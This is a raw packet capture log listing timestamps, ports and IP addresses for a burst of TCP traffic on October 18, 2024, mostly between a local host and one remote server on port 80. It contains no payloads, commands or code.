Oct 18, 2024 15:04:16.702718019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.705243111 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.705243111 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.721395016 CEST	49839	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:16.743561983 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.743593931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.743607044 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.743628025 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.743652105 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.743652105 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.743856907 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.743870020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744112968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744127035 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744141102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744174957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744174957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744174957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744174957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744220972 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744514942 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744528055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744539976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744554043 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744568110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744580984 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.744580984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744580984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744580984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744611979 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744611979 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.744623899 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.864834070 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.864850044 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.864862919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.865139961 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.865139961 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868257999 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868271112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868283987 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868376017 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868376017 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868556976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868570089 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868582964 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868592978 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868613005 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868624926 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.868627071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868627071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868650913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.868650913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.869369030 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869380951 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869394064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869405985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869417906 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869429111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869442940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.869457960 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.869457960 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.869457960 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.869510889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.871222019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871236086 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871246099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871258020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871269941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871283054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.871313095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.871313095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.871351957 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.872237921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872255087 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872266054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872278929 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872292042 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872304916 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872314930 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.872314930 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.872318029 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.872354031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.872437954 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.874197006 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874212980 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874226093 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874239922 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874252081 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874264956 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874281883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874281883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.874281883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.874294996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.874346972 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.874346972 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.875194073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875206947 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875217915 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875230074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875240088 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875252008 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.875359058 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.875359058 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.875359058 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.877204895 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877218962 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877229929 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877242088 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877253056 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877264977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877273083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.877274990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.877495050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.877495050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.877495050 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.878118038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878132105 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878144026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878155947 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878166914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878180027 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878191948 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.878209114 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.878209114 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.878210068 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.878241062 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.880523920 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880536079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880548000 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880559921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880572081 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880584955 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880595922 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.880624056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.880624056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.880624056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.880685091 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.881552935 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.881565094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.881577969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.881603956 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.881803036 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.883405924 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.883418083 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.883430004 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.883521080 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.883521080 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.884351969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.884366035 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.884377003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.884390116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.884402037 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.884447098 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.885958910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886001110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886012077 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886066914 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.886090994 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.886683941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886698008 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886708021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886719942 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.886768103 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.886768103 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.887795925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.887810946 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.887821913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.887860060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.887907982 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.889641047 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.889655113 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.889666080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.889678001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.889692068 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.889715910 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.889715910 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.889774084 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.890889883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.890903950 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.890916109 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891041040 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891041040 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891041994 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891055107 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891066074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891145945 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891145945 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891361952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891381979 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891395092 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891407967 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891419888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891427994 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891433001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891443014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891443968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.891480923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.891575098 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892165899 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892179966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892191887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892205000 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892215967 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892235041 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892265081 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892277002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892606974 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892693043 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892705917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892712116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892723083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892724991 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892738104 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892750025 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.892751932 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892812014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.892812014 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.893795013 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893807888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893819094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893831015 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893841982 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893855095 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.893906116 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.893907070 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.893907070 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.902209997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.902223110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.902235031 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.902246952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.902260065 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.902283907 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.902340889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.903183937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.903197050 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.903209925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.903222084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.903256893 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.903256893 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.905293941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905307055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905318975 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905330896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905343056 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905354977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.905395985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.905395985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.905395985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.985275030 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.985296965 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.985310078 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.985332012 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.985358000 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.988262892 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988344908 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.988374949 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988384962 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988430977 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.988445044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.988696098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988708019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988720894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.988744974 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.988775015 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.989514112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.989530087 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.989542007 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.989557981 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.989581108 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.990267038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.990279913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.990292072 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.990303993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.990319967 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.990333080 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.990350962 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.991044044 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991056919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991066933 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991077900 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991090059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.991121054 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.991146088 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.991830111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991843939 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991853952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991868019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.991880894 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.991909027 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.992463112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.992476940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.992487907 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.992501020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.992505074 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.992516994 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.992544889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.993355036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.993367910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.993379116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.993391037 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.993402958 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.993406057 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.993433952 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.993443966 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.994247913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.994261026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.994272947 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.994286060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.994296074 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.994316101 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.994337082 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.994983912 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.994996071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995007992 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995022058 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995028973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995035887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995049953 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995059967 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995095968 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995848894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995863914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995877028 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995889902 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995894909 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995902061 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.995903015 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995924950 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.995943069 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.996711969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.996725082 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.996737003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.996746063 CEST	49830	80	192.168.2.4	185.215.113.103
